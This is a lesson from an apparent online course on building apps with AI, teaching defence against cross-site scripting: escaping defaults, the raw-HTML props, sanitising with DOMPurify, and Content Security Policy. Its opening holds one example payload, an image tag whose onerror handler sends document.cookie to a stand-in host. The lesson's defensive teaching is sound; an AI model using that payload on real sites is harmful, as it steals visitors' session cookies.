Building Apps with AILesson 73 of 87

Contents

Building Apps with AI

Lesson 73 of 87. Sign in to keep your place.

Module 8 · The security holes AI code has by default

Cross-site scripting, and the prop with the honest name

8 min read

What the browser will do for a string

A browser given <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)"> as part of a page will try to load the image, fail, and run the script. If that string came from another user (a comment, a profile name, a note) the script runs in your visitor’s browser, on your domain, with whatever your visitor can do. That is cross-site scripting, and the first line of defence against it is one you already have.

Escaping is the default

React, Vue, Svelte and every modern templating system escape text by default. <p>{note.body}</p> renders the tag characters as literal text, not markup; the script never becomes script. This is why XSS has become rare in ordinary generated code, and why the cases that remain arrive through one door.

The door

TSX
<div dangerouslySetInnerHTML={{ __html: summary }} />

The name is a warning, and the situations that produce it are reasonable ones. A model returns markdown; the page wants it formatted; the agent converts it to HTML and injects it. A rich-text editor stores HTML; the page shows it. A CMS or a third-party service sends HTML. In each case the content is text somebody else wrote, and the prop hands it to the browser as markup.

Vue’s v-html, Svelte’s {@html}, Angular’s [innerHTML], and any template that concatenates strings into a page have the same door under a different name.

The model’s output is user content

This is the case that catches AI-built apps specifically. A summary of a note is written by a model, from a note, and the note was written by a user. The injection lesson in the previous block said user text inside a prompt is untrusted; it follows that model output built from it is untrusted too. A note containing an image tag with an onerror attribute may be echoed into the summary verbatim, and rendered as HTML, it runs.

Treat every string that reaches the injecting prop as hostile, whoever produced it.

Sanitise at the door

Convert markdown to HTML, then pass the HTML through a sanitiser before rendering:

TypeScript
import DOMPurify from "isomorphic-dompurify";
const safeHtml = DOMPurify.sanitize(marked.parse(summary), {
  ALLOWED_TAGS: ["p", "strong", "em", "ul", "ol", "li", "a", "code", "pre", "h2", "h3"],
  ALLOWED_ATTR: ["href"],
});

An allowlist of tags, an allowlist of attributes, and everything else stripped. DOMPurify is free, maintained, and the standard answer; do it on the server so the browser only ever receives clean markup. Links need one more rule: href values beginning with javascript: are script, and a sanitiser configured for links must reject them, which DOMPurify does by default.

Better than sanitising HTML is not producing it. Many markdown renderers can output React elements directly (react-markdown does) so the text is never HTML at all, and the escaping default is never turned off.

What a successful XSS does

With the session cookie marked HttpOnly as in the data block, the script cannot read the cookie. It can still do everything the user can: make requests to your routes with the user’s session attached, read what those routes return, change their email, post as them. HttpOnly limits the theft; it does not limit the actions. That is why the sanitiser matters even when the cookie is protected.

The backstop

A Content Security Policy is a response header that tells the browser which sources of script are allowed:

Text
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'

With that, an injected inline script does not run even when the sanitiser missed it, because inline script is not on the list. Setting a strict policy on a framework app takes some care (some frameworks need a per-request nonce for their own inline scripts, and the framework’s documentation shows how) and it is worth the hour. It is the layer that holds when the first layer has a bug.

Finding the doors

Search the codebase for dangerouslySetInnerHTML, v-html, @html, innerHTML, and document.write. Each hit is a door. For each, trace the string backwards: where did it come from, and was it sanitised on the way? A hit with no sanitiser between it and any user or model is the finding. The count should be small (one or two, for the markdown) and every one should have a sanitize call within a few lines of it.

Every lesson here is open. Your progress is recorded once you pass the Building with AI exam.

Check your understanding

An AI summary is rendered with the raw-HTML prop so that its markdown formatting shows. A user pastes a note containing an image tag with an onerror attribute. What happens when another user with access views the summary?

Pick the one you would defend. Your answer stays private.

Next lesson · 8 minRate limits, and the sign-up flood

Stuck on something?Ask Beatriz, your AI tutor

How to cite: Addaly (2026) ‘Cross-site scripting, and the prop with the honest name’, in Building Apps with AI. Edited by M. Mun. Addaly. Available at: https://addaly.com/learn/building-apps-with-ai/xss-and-the-dangerously-named-prop (Accessed: 13 October 2026).